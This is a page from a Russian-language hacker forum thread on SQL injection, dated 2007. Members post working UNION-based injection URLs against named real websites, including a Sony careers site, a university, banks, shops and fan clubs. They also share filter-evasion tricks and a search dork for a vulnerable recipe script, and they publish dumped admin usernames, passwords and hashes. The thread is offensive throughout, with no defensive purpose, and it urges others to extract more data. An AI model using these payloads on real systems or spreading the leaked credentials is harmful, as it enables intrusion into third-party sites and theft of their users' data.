SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 166 of 798
  1. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Наконец-то кое-что стоящее:

    epiphyte.ru

    http://www.epiphyte.ru/?rid=-53+union+select+1,2,concat(version(),0x3a,database(),0x3a,user())/*

    5.0.45-log:u18378:[email protected]


    http://www.epiphyte.ru/?rid=-53+union+select+1,2,concat(username,0x3a,user_password,0x3a,user_icq)+from+phpbb_users+limit+1,1/*

    логин\хеш\уин phpbb больше 3к записей, перебирайте лимитом ))

    ---------------------------------------------------------------

    http://www.i.love.crimea.net/partner.php3?id=-6+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3/*

    5.0.27-log:ilove:ilove@localhost

    http://www.i.love.crimea.net/partner.php3?id=-6+union+select+1,2,table_name+from+information_schema.tables+limit+0,1/*

    доступ к information_schema



    http://www.cheryclub.org.ua/index.php?area=1&p=gallery&action=showimages&galid=-3+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3/*

    4.1.21-standard-log:cheryclu_chery:cheryclu_ptax@localhost
     
    #3301 ElteRUS, 14 Oct 2007
    1 person likes this.
  2. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    396
    Reputations:
    297
    Code:
    http://www.bagozzi.com.br/?system=news&eid=-8%20union%20select%201,concat(user,0x3d,senha)%20FROM%20user/*
     
    #3302 0x0c0de, 14 Oct 2007
    1 person likes this.
  3. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Sony

    SONY Corp.

    Достаточно не простой запрос пришлось составлять.
    Усечение не робит =\

    User: iq-app
    DBName: Careers3

    Интересные таблицы:
    (Client)
    Code:
    http://scajobs.sony.com/careers/joblist.asp?location=443202))+and+(c.city_name+not+in('asd'))+and+1=(SELECT+TOP+1+COLUMN_NAME+FROM+Careers3.INFORMATION_SCHEMA.columns+WHERE+TABLE_NAME='client'+AND+COLUMN_NAME+NOT+IN('client_id','country_code','hodes_generic','hodes_suffix','client_name','division_name','office_id','status_indicator','address1','address2','city','state','contact','zip_code','phone','batch_client_id','created_user_mgt_id','created_datetime','last_update_user_mgt_id','last_update_datetime',%20'hiring_org_id','updated','old_generic','old_suffix','smartlink_url','apply_statement_indicator','live_smartlink_statement','static_smartlink_statement','FTIndex_Timestamp','update_status','isProvisioned','isAMSDownloadable','AMSDownloaded_Datetime',%20'sourcingAttributionType','attributionQueryStringName'
    (user_mgt_additional_info)
    Code:
    http://scajobs.sony.com/careers/joblist.asp?location=443202))+and+(c.city_name+not+in('asd'))+and+1=(SELECT+TOP+1+COLUMN_NAME+FROM+Careers3.INFORMATION_SCHEMA.columns+WHERE+TABLE_NAME='user_mgt_additional_info'+AND+COLUMN_NAME+NOT+IN('user_mgt_id','office_id','first_name','last_name','email_address','phone_area_number','phone_number','phone_extention','fax_area_number','fax_number','fax_extention','type_indicator','spelling_indicator','team_indicator','advise_expiration_days'%20,'advise_expiration_days','email_notification_indicator','smartlink_indicator','client_id','hiring_orgID','minimum_cost','view_batch','created_user_mgt_id','created_datetime','last_update_user_mgt_id','last_update_datetime','ReportingID','ApplicationID','Contact_typeID','Company_Name','Contact_Name','Auto_Total','Reply_To_Email','IsTranslator'
    (emedia)
    Code:
    http://scajobs.sony.com/careers/joblist.asp?location=443202))+and+(c.city_name+not+in('asd'))+and+1=(SELECT+TOP+1+COLUMN_NAME+FROM+Careers3.INFORMATION_SCHEMA.columns+WHERE+TABLE_NAME='emedia'+AND+COLUMN_NAME+NOT+IN('emedia_id','emedia_code','Hodes_Emedia_code','emedia_type_id','media_typeID','active_indicator','media_entry_type','display_order','ranking_metrix'
    дальше не рыл запарился и так, кому интересно сливайте инфу...

    thx blackybr
     
    #3303 [53x]Shadow, 14 Oct 2007
    5 people like this.
  4. Heavy Metal

    Heavy Metal Member

    Joined:
    16 Sep 2007
    Messages:
    19
    Likes Received:
    27
    Reputations:
    7
    Code:
    http://www.mcsr.olemiss.edu/herbarium/smncheckacc.php?accession=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat_ws(0x3a,table_schema,table_name),17,18,19,20,21+from+information_schema.tables/*    
http://www.mad-love.ru/health.php?grp=15&item=-1+union+select+1,2,login,psw,5,6+from+users+where+login='admin'
     
    #3304 Heavy Metal, 14 Oct 2007
    1 person likes this.
  5. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://[COLOR=Red]oikumena.intalev.ru/[/COLOR]search_result.php?cid=49999999%20union/**/select/**/0,concat(sb_admin_name,char(58),sb_pwd,char(58),sb_id),2,3/**/from/**/sbjbs_admin/*
    adm:adm:1
     
    #3305 kair, 14 Oct 2007
    2 people like this.
  6. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.sea-cruise.ru/index.php?info=ships&id=-1+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15/*
    [email protected]:5.0.45-log:u32445
    Code:
    http://www.sea-cruise.ru/index.php?info=ships&id=-1+union+select+1,concat(login,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15+from+u32445.administrators+limit+0,1/*
    admin:ftn-admn
    fortun:test
    sirius:admn
    Code:
    http://www.sea-cruise.ru/index.php?info=ships&id=-1+union+select+1,concat(login,0x3a,pass,0x3a,email,0x3a,city),3,4,5,6,7,8,9,10,11,12,1 3,14,15+from+u32445.users+limit+0,1/*
    sirius:123456:[email protected]:moscow
    Code:
    http://www.armofthesea.org/calendar/index.php?id=9999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat(user(),0x3a,version(),0x3a,database()),26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41,42,43/*
    aots_default@localhost:4.1.22-standard:aots_default
    Code:
    http://shoichetlab.compbio.ucsf.edu/~keiser/sea/search/viewer/index.php?table=9161&id=-1+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4/*&isref=0&page=0&orderby=identity&sort=asc
    [email protected]:5.0.45:keiser
    Code:
    http://shoichetlab.compbio.ucsf.edu/~keiser/sea/search/viewer/index.php?table=9161&id=-1+union+select+1,concat(dbfs_ref_fk,0x3a,md5,0x3a,name,0x3a, code),3,4+from+keiser.dbfs_anno/*
    3:ЦA^Р ¬>·.—јYRpЧЕ:Cathepsin L Inhibitor:50160
    14:BbwГЬ·Ёд`дЩ#:pgp-:pgp-
    3:Њ…ЌєkhaУќґ-°а$:Guanylate Cyclase Activator:78251
    3:ўsюqcXёk'#$–ё‚:Glucocorticoid:39100 итд
    Code:
    http://shoichetlab.compbio.ucsf.edu/~keiser/sea/search/viewer/index.php?table=9161&id=-1+union+select+1,concat(dbfs_ref_fk,0x3a,md5,0x3a,name,0x3a,code),3,4+from+keiser_ca.dbfs_anno/*
     
    #3306 Maxyks, 14 Oct 2007
    1 person likes this.
  7. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    Библиотека программиста :)


    Information_schema:

    http://proge.info/go.php?id=9+union+select+1,2,3,concat(table_name,0x3a,column_name),5,6,7+from+information_schema.columns/*

    вывод всех таблиц/колонок...

    ____________

    ____________

    Information_schema.schemata:


    http://proge.info/go.php?id=9+union+select+1,2,3,schema_name,5,6,7+from+information_schema.schemata/*

    здесь выводим все бд,и подбираем в соответствии к интересующим нас таблице/колонке нужную, ибо table_schema не работает...

    ____________
    ____________

    а это пример вывода:

    http://proge.info/go.php?id=9+union+select+1,2,3,concat(login,0x3a,pass,0x3a,email),5,6,7+from+hostp.admins/


    ____________ ;)
     
    #3307 sasTO, 14 Oct 2007
    1 person likes this.
  8. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Можно сделать так
    http://proge.info/go.php?id=9+union+select+1,2,3,table_schema,5,6,7+from+information_schema.tables+where+table_name=CHAR(97,100,109,105,110,115)/*
    Прочитать об этом можно сдесь
    https://forum.antichat.ru/threadnav19605-3-10.html - спасибо [53x]Shadow!
    Тогда подбирать не нужно :)
     
    #3308 Red_Red1, 15 Oct 2007
    1 person likes this.
  9. cheb

    cheb Elder - Старейшина

    Joined:
    31 Jul 2006
    Messages:
    42
    Likes Received:
    12
    Reputations:
    0
    Новосибирский государственный университет :
    http://www.nsu.ru/dynamic/news/news_view.php?news_mode=single&news_user=user&news_action=view&news_id=-3244+union+select+user(),database(),3,4,5,6,7,8/*
    Хоть там и дофига всяких форумов, я не смог вытянуть от туда ни одной таблицы. Может ктото добрым советом поможет ?
     
    #3309 cheb, 15 Oct 2007
    1 person likes this.
  10. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    Инвестиционный городской банк ( Новосибирск )
    Version: 4.0.13
    User: olmi@localhost
    Не смог подобрать таблицы, кто сможет, не скупитесь выкладывайте либо здесь, либо, на крайняк, в ПМ, может быть существует доступ к information_schema но идет фильтр на символ "." - точка
     
    #3310 0nep@t0p, 15 Oct 2007
    1 person likes this.
  11. delay(0)

    delay(0) Member

    Joined:
    22 Nov 2006
    Messages:
    90
    Likes Received:
    41
    Reputations:
    6
    0nep@t0p, в 4 версии этой базы нету.
     
    #3311 delay(0), 15 Oct 2007
  12. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    mazda-auto.ru


    http://www.mazda-auto.ru/mazdainfo.php?fl=1&sl=8&qid=-503+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user()),5,6/*

    1. 5.0.45-log:u38612:[email protected]


    http://www.mazda-auto.ru/mazdainfo.php?fl=1&sl=8&qid=-503+union+select+1,2,3,concat(username,0x2F,user_password,0x2F,user_icq),5,6+from+phpbb_users/*

    логин\хеш\уин
     
    #3312 ElteRUS, 15 Oct 2007
  13. Heavy Metal

    Heavy Metal Member

    Joined:
    16 Sep 2007
    Messages:
    19
    Likes Received:
    27
    Reputations:
    7
    Code:
    http://www.blackrhino.biz/browse.phtml?by=category&cat_id=-1+union+select+aes_decrypt(aes_encrypt(concat_ws(0x3a,username,password,email),31),31)+from+login+limit+0,2/*
http://www.rosart.biz/index.phtml?categoryID=-1+union+select+concat_ws(0x3a,0x223e,login,password)+from+users+limit+0,1/*
     
    #3313 Heavy Metal, 15 Oct 2007
  14. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    fkclub.ru


    http://fkclub.ru/index.php?page=showarticle&id=-13+union+select+concat(version(),0x3a,database(),0x3a,user()),2,3,4/*

    4.1.22:ru10000_fkclub:[email protected]

    http://fkclub.ru/index.php?page=showarticle&id=-13+union+select+concat(username,0x2F,user_password,0x2F,user_icq),2,3,4+from+phpbb_users+limit+6,1/*

    логин\хеш\уин

    ----------------------------------------------

    http://www.paradive.ru/diving/news/index.html?view_id=-1'+union+select+1,concat(version(),0x2F,user()),3,4,5/*

    5.0.22/sabotag@localhost
     
    #3314 ElteRUS, 15 Oct 2007
  15. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Первая успешно проведённая скуль,а всего вторая.Ногами не пинать)
    Code:
    http://sant exnika.ru/brands.html?id=-228+UNION+SELECT+1,conc  at(version(),0x3a,data base(),0x3a,user()),3,4,5,6,7,8,9/*
    5.0.45:u35457:[email protected]
    Таблицы
    Code:
    http://san texnika.ru/brands.html?id=-228%20UNION%20SELECT%201,table _name,3,4,5,6,7,8,9%20from%20information_sch ema.tables/*&kp=all
    Столбцы
    Code:
    http://santex  nika.ru/brands.html?id=-228%20UNION%20SELECT%201,column_name,3,4,5,6,7,8,9%20from%20information_schema.columns/*&kp=all
    Админ
    Code:
    http://santexn ika.ru/brands.html?id=-228+UNION+SELECT+1,concat(logi n,0x3a, password,0x3a,email),3,4,5,6,7,8,9+from+ users/*
    admin:$1$oJ$lZmJWDleYk
    santexnika:$1$H0$9elwV.6Pn8
    Админку не нашёл
     
    #3315 v1ru$, 15 Oct 2007
    Last edited: 15 Oct 2007
    2 people like this.
  16. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.spb-center.ru/content.php?id=-1'+union+select+concat(user( ),0x3a,version(),0x3a,database())/*
    Uwww3046S@localhost:4.0.26-log:udb3046
    Code:
    http://www.meleuz.ru/index.php?text_id=news&id=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6 /*&PHPSESSID=dc258c69b267e9f170975144ed5f6c99
    [email protected]:4.0.27-max-log:meleuz90_base
    Code:
    http://moscowmaps.ru/index.php?aid=72&sid=112&text_id=-1+union+select+1,2,3,4,5,concat(login,0x3a,password)+from+administrators/*
    asa:ltrf,hm anahal:univer
    Code:
    http://nagore.ru/default.php?section=sch&part=aro&article=178&text_id=-1+union+select+concat(name, 0x3a,login,0x3a,pass)+from+admins/*
    admin:admin:parol test:test:test
    Code:
    http://fondsi.ru/default.php?to_show=shp&sub_id=&art_id=&text_id=-1+union+select+1,concat(login, 0x3a,password),3+from+administrators/*
    admin:fondsi.ru mishasun:2038134 anahal:parol boss:faina vasek:bbs
    Code:
    http://drikung.ru/index.php?aid=36&sid=40&text_id=-1+union+select+1,2,3,4,5,concat(login,0x3a,password)+from+administrators+limit+0,1/*
    admin:parol
     
    #3316 Maxyks, 15 Oct 2007
    4 people like this.
  17. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    dorama.ru


    http://www.dorama.ru/?t=news&sm=news&nsid=-1+union+select+1,2,3,4,concat(version(),0x2F,database(),0x2F,user()),6/*

    5.0.21/doramaru/[email protected]

    http://www.dorama.ru/?t=news&sm=news&nsid=-1+union+select+1,2,3,4,concat(username,0x2F,user_password,0x2F,user_icq),6+from+phpbb_users+limit+4,1/*

    логин\хеш\уин
     
    #3317 ElteRUS, 15 Oct 2007
  18. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    Международный Акционерный Банк
    Version: 4.0.21-Max
    User: mab@localhost
     
    #3318 0nep@t0p, 16 Oct 2007
    2 people like this.
  19. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Уязвимость в Softbiz Recipes Portal Script:
    Поиск в гугл: inurl:"searchresult.php?sbcat_id="

    Пример: _http://recept.promolist.ru


    [sql-inj]
    Code:
    _http://recept.promolist.ru/searchresult.php?sbcat_id=12345%20union/**/select/**/0,concat(version(),0x3a,database(),0x3a,user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*
    Таблицы:
    Code:
    _http://recept.promolist.ru/searchresult.php?sbcat_id=12345%20union/**/select/**/0,concat(version(),0x3a,user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,table_name,17,18,19,20,21,22/**/from/**/information_schema.tables/*
    Колонки:
    Code:
    _http://recept.promolist.ru/searchresult.php?sbcat_id=12345%20union/**/select/**/0,concat(version(),0x3a,user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,column_name,17,18,19,20,21,22/**/from/**/information_schema.columns/*
    Админ:
    Code:
    http://recept.promolist.ru/searchresult.php?sbcat_id=12345%20union/**/select/**/0,concat(version(),0x3a,user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(sbadmin_name,0x3a,sbadmin_pwd),17,18,19,20,21,22/**/from/**/sbrecipe_admin/*
     
    #3319 -=lebed=-, 16 Oct 2007
    2 people like this.
  20. cheb

    cheb Elder - Старейшина

    Joined:
    31 Jul 2006
    Messages:
    42
    Likes Received:
    12
    Reputations:
    0
    http://www.daev-plaza.ru/
    В поле поиска вводим
    Code:
    -1+union+select+1,2,password,4,5,6,7,8,9,10,11,name,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+admin/*
    5 админов :
    dima:1
    root:
    Gasiev:popcorn
    az:
    roman:rhdvny
    Но в админку не папал :(
     
    #3320 cheb, 16 Oct 2007
    3 people like this.
(You must log in or sign up to post here.)
Page 166 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.